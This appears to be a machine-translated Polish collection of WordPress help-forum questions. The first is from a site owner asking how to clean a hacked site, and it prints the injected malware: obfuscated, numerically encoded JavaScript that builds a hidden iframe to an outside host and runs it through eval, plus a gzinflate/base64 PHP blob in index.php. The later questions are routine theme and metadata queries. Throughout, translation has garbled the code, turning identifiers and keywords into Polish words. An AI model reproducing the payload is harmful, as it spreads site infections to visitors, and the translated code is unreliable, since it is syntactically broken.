text: > **Możliwy duplikat:** > Pomoc dotycząca problemu z trojanem Wordpress! Wszedłem na tworzoną przeze mnie witrynę wordpress i otrzymałem ostrzeżenie o trojanie z mojego oprogramowania antywirusowego. Sprawdziłem teraz witrynę różnymi skanerami online i wygląda na to, że ktoś umieścił ramkę inline zawierającą kod zamieszczony poniżej... Nawet nie wiedziałem, że wordpress może zostać zainfekowany w ten sposób. Proszę pomóż mi! Oto zrzut ekranu ostrzeżenia antywirusowego. http://i.stack.imgur.com/NaSE6.png i oto niektóre ze złośliwego kodu skryptu umieszczonego na mojej stronie. * if(window['d'+'o'+'c'+'u'+'m'+'ent'])aa=/\w/.exec(nowa Date()).index+[];aaa ='0';try{if(/123/.exec("a").index!=5);}catch(qqq){ss=String;}if(aa.indexOf(aaa)!==-1 )f='-30!-30!66!63!-7!1!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70 !62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!2 !84!-30!-30!-30!66!63!75!58!70!62!75!1!2!20!-30!-30!86!-7!62!69!76!62 !-7!84!-30!-30!-30!61!72!60!78!70!62!71!77!7!80!75!66!77!62!1!-5!21! 66!63!75!58!70!62!-7!76!75!60!22!0!65!77!77!73!19!8!8!70!7!80!65!66!60 !65!64!72!69!63!80!62!61!64!62!76!7!60!72!70!8!77!8!9!58!11!61!12!10!59 !62!13!17!15!59!18!12!58!58!12!9!61!18!59!62!10!9!15!11!9!18!59!13!59!18 !0!-7!80!66!61!77!65!22!0!10!9!0!-7!65!62!66!64!65!77!22!0!10!9!0 !-7!76!77!82!69!62!22!0!79!66!76!66!59!66!69!66!77!82!19!65!66!61!61!62! 71!20!73!72!76!66!77!66!72!71!19!58!59!76!72!69!78!77!62!20!69!62!63!77!19! 9!20!77!72!73!19!9!20!0!23!21!8!66!63!75!58!70!62!23!-5!2!20!-30!-30 !86!-30!-30!63!78!71!60!77!66!72!71!-7!66!63!75!58!70!62!75!1!2!84!-30 !- 30!-30!79!58!75!-7!63!-7!22!-7!61!72!60!78!70!62!71!77!7!60!75!62!58! 77!62!30!69!62!70!62!71!77!1!0!66!63!75!58!70!62!0!2!20!63!7!76!62!77! 26!77!77!75!66!59!78!77!62!1!0!76!75!60!0!5!0!65!77!77!73!19!8!8!70! 7!80!65!66!60!65!64!72!69!63!80!62!61!64!62!76!7!60!72!70!8!77!8!9!58! 11!61!12!10!59!62!13!17!15!59!18!12!58!58!12!9!61!18!59!62!10!9!15!11!9! 18!59!13!59!18!0!2!20!63!7!76!77!82!69!62!7!79!66!76!66!59!66!69!66!77! 82!22!0!65!66!61!61!62!71!0!20!63!7!76!77!82!69!62!7!73!72!76!66!77!66! 72!71!22!0!58!59!76!72!69!78!77!62!0!20!63!7!76!77!82!69!62!7!69!62!63! 77!22!0!9!0!20!63!7!76!77!82!69!62!7!77!72!73!22!0!9!0!20!63!7!76! 62!77!26!77!77!75!66!59!78!77!62!1!0!80!66!61!77!65!0!5!0!10!9!0!2! 20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!65!62!66!64!65!77!0!5! 0!10!9!0!2!20!-30!-30!-30!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62 !70!62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54 !7!58!73!73!62!71!61!28!65!66!69!61!1!63!2!20!-30!-30!86'.split('!');md ='a';e=okno['e'+'wartość']; w=f;s='';fr='f'+'ro'+'mChar';r=ss[fr+'Kod'];for(i=0;0>i-w.długość;i++){j= i;s=s+r(39+1*w[j]);}if(aa.indexOf(aaa)!==-1)e(s);if(okno['d'+'o'+ 'c'+'u'+'m'+'ent'])aa=/\w/.exec(nowa Date()).index+[];aaa='0';try{if(/123/. exec("a").index!=5);}catch(qqq){ss=Ciąg;}if(aa.indexOf(aaa)!==-1)f='-30!-30!66!63 !-7!1!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27!82! 45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!2!84!-30!-30!-30!66 !63!75!58!70!62!75!1!2!20!-30!-30!86!-7!62!69!76!62!-7!84!-30!-30!- 30!61!72!60!78!70!62!71!77!7!80!75!66!77!62!1!-5!21!66!63!75!58!70!62!- 7!76!75!60!22!0!65!77!77!73!19!8!8!70!7!80!65!66!60!65!64!72!69!63!80! 62!61!64!62!76!7!60!72!70!8!77!8!9!58!11!61!12!10!59!62!13!17!15!59!18! 12!58!58!12!9!61!18!59!62!10!9!15!11!9!18!59!13!59!18!0!-7!80!66!61!77 !65!22!0!10!9!0!-7!65!62!66!64!65!77!22!0!10!9!0!-7!76!77!82!69!62 !22!0!79!66!76!66!59!66!69!66!77!82!19!65!66!61!61!62!71!20!73!72!76!66!77 !66!72!71!19!58!59!76!72!69!78!77!62!20!69!62!63!77!19!9!20!77!72!73!19!9 !2 0!0!23!21!8!66!63!75!58!70!62!23!-5!2!20!-30!-30!86!-30!-30!63!78!71 !60!77!66!72!71!-7!66!63!75!58!70!62!75!1!2!84!-30!-30!-30!79!58!75!- 7!63!-7!22!-7!61!72!60!78!70!62!71!77!7!60!75!62!58!77!62!30!69!62!70! 62!71!77!1!0!66!63!75!58!70!62!0!2!20!63!7!76!62!77!26!77!77!75!66!59! 78!77!62!1!0!76!75!60!0!5!0!65!77!77!73!19!8!8!70!7!80!65!66!60!65! 64!72!69!63!80!62!61!64!62!76!7!60!72!70!8!77!8!9!58!11!61!12!10!59!62! 13!17!15!59!18!12!58!58!12!9!61!18!59!62!10!9!15!11!9!18!59!13!59!18!0! 2!20!63!7!76!77!82!69!62!7!79!66!76!66!59!66!69!66!77!82!22!0!65!66!61! 61!62!71!0!20!63!7!76!77!82!69!62!7!73!72!76!66!77!66!72!71!22!0!58!59! 76!72!69!78!77!62!0!20!63!7!76!77!82!69!62!7!69!62!63!77!22!0!9!0!20! 63!7!76!77!82!69!62!7!77!72!73!22!0!9!0!20!63!7!76!62!77!26!77!77!75! 66!59!78!77!62!1!0!80!66!61!77!65!0!5!0!10!9!0!2!20!63!7!76!62!77! 26!77!77!75!66!59!78!77!62!1!0!65!62!66!64!65!77!0!5!0!10!9!0!2!20! -30!-30!-30!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27 !82!45!58!64!39!58!70!62!1!0 !59!72!61!82!0!2!52!9!54!7!58!73!73!62!71!61!28!65!66!69!61!1!63!2!20 !-30!-30!86'.split('!');md='a';e=okno['e'+'val'];w=f;s='';fr='f' +'ro'+'mChar';r=ss[fr+'Kod'];for(i=0;0>i-w.długość;i++){j=i;s=s+r(39+1*w[ j]);}if(aa.indexOf(aaa)!==-1)e(s); and inside the index.php   1. #1583b0# echo(gzinflate(base64_decode("1VZNc5swEP0r3VwEZbCRMJIYQi7pvYceXR8YGxIyiZ0ALelk8t+7u4jEIbabHnroDPIs0tun/XhCPm/XTX3fXdSV19fbza5fio0IxA7HGscPHHc4ym0nVn5R5PPv/XxWPpZrb1v2n74UXen5/gw9y8dgucoKhIhIZF3z6wkp51LFDn5WnDkc5ImfPa+Lbn3tPTw8+E9tm3/rmnp7lT2jT1EMsK9kFj7keSj9KhdhHAENrUHHEBqQoCUYBToCY8HgigKDMwYM6AW/GSCHlO39dQ3KgFWwSCCxBI5TMgaMhAiSlJklgSJQkChAxAItu4AxktdoTPLqjrZEnHrFWE3h4hJGglujga9TnqOp2IgocR9jhujCBJQ8sHHIiREWI6awdcIM+MQgU7DASGbUzKgHY8Fbp8RnmQmDcQXUVMuI1tHTEpcFLpXk6kuMh4tFgeEm2JSEXqWlJYQlbKSMtSMwwgnEIUXqZtF38Iq4NENZOX+Mj3NhJ16liBUDFi7DCcBwqaxyjedVk3IFNf0mbOvU1RSBWBxXEM5qKD42EOtmlPOiWDS/SsInHLfRrnTGuvaoUW/UHEPIlJkMu8YvE9iimNpoDzQSV6jHUwmNSol5N8l92QsqNMfFOBGbGdSesA+fJcXyOXGeBhFyT4dEDx4sOjrvg4iGXGjW6Z+apkdxJq4pLzUklhclo7z+ Vym/yXpfkuYPehxP70SR0Qm+I0plpmNaPcG3r2HmSE/uPqr7EPRD7Z4c+aHp7kj/vXjefyLeE37s4/uv7hHDsJiegQ0hyo49H0RGOU8+AmLW3t/WnSdA+NndJheFyMp8vLhLvKh/FrdilfV5lbW5EFnV5KLC6YYu9LvL66IRWZO37bJqAnG525QIrnaNV+dRFl3UYT+7LbdX3XVWB4H/dJPXSNMGjRengfzcL29W/vE 7uvRaPzufuz8UvwE="))); #/1583b0# Jak mogę to usunąć i odzyskać witrynę???


title: Wordpress zamienia znaki Unicode na „?”s

text: Zauważyłem, że Wordpress ostatnio zaczął zastępować wszystkie wprowadzane przeze mnie znaki Unicode znakami zapytania. Jest kilka osób, które miały ten problem na forach wordpress, ale wydaje się, że nikt nie ma na to odpowiedzi. Czy ktoś ma na to rozwiązanie? Sam hostuję wordpress, ale nie mam dużej kontroli nad ustawieniami PHP i DB. Możliwe, że mój host zaktualizował biblioteki PHP lub DB. Jak się dowiem?


title: Gdzie powinienem zaktualizować_opcje w motywie?

text: Projektuję motyw, w którym strona główna (np. `is_home()`) powinna wyświetlać tylko najnowszy wpis na blogu. Chcę zrobić coś takiego jak `$wp_query->update_option('posts_per_page', 1)` za każdym razem, gdy jestem na stronie głównej. Wszystkie inne strony wyświetlające posty (takie jak archiwa) powinny po prostu podążać za opcją zdefiniowaną przez użytkownika. Wydaje się to trochę niepotrzebne za każdym razem, ponieważ opcja powinna być ustawiona tylko raz, prawda? Czy w The Loop można po prostu zignorować opcję użytkownika `posts_per_page` i wymusić ustawienie `have_posts()` na jeden post? Ogólnie rzecz biorąc, gdzie powinny się udać tego rodzaju rzeczy typu „ustaw raz”? Naprawdę nie sądzę, że powinna to być wtyczka, ponieważ jest specyficzna dla tematu. Nie chcę też zadzierać z opcjami użytkownika, dlatego `update_option` nie jest najlepszym wyborem dla tego problemu.


title: Czy jest sposób na łączenie postów meta_name?

text: Chcę wiedzieć, czy istnieje sposób, aby połączyć 2 różne pola niestandardowe, które mają zasadniczo tę samą funkcję wartości. 1) meta_name: mój_link i meta_value: link 2) meta_name: inny_link i meta_value: inny link Powinno działać tak: Ogólne wywołanie w moim szablonie to <?php if ( get_post_meta($post->ID, 'my_link', prawda)) ) : ?> <?php echo $my_link; ?> <?php endif; ?> Więc jeśli w poście występuje meta_name: other_link, a nie my_link, aw szablonie jest odpytywany mój_link, chcę, aby inny_link meta_name był rozpoznawany jako meta_name: my_link. Szukałem wszędzie. Z góry dziękuję.


title: Czy „powtarzalny” jest typem pola dla pól meta?

text: To prawdopodobnie głupie pytanie, ale jestem nowy w tworzeniu wordpressa, więc w tej chwili łatwo się pomylić. Kod: ` array( 'label' => 'Powtarzalny', 'desc' => 'Opis pola.', 'id' => $prefiks.'powtarzalny', 'type' => 'powtarzalny' ) ` Moje pytanie: Czy „powtarzalność” jest standardową funkcją wordpress, czy jest to coś, co stworzył programista? (wziąłem ten kod z internetu, aby się nauczyć). Dziękuję Ci!


title: Dlaczego domyślny widok strony Wordpress nie używa force_balance_tags?

text:
Zauważyłem, że domyślny motyw WP używa force_balance_tags do wyświetlania fragmentów postów. W ten sposób nie spowoduje to poważnych uszkodzeń kodu HTML, gdy ktoś napisze post taki jak
To jest fragment.  i to jest więcej tekstu...
 Zamyka tagi zamiast pogrubiać wszystko i łamać div. Dlaczego normalna strona wordpress nie robi tego domyślnie w domyślnym motywie? W ten sposób uszkodzona zawartość strony, taka jak:

 teraz tekst nie jest tam, gdzie powinna być
 niedopasowane tagi nie powodowałyby nieoczekiwanego zachowania. Czy było to przeoczenie, czy może pewne rzeczy się psują podczas używania force_balance_tags na stronach?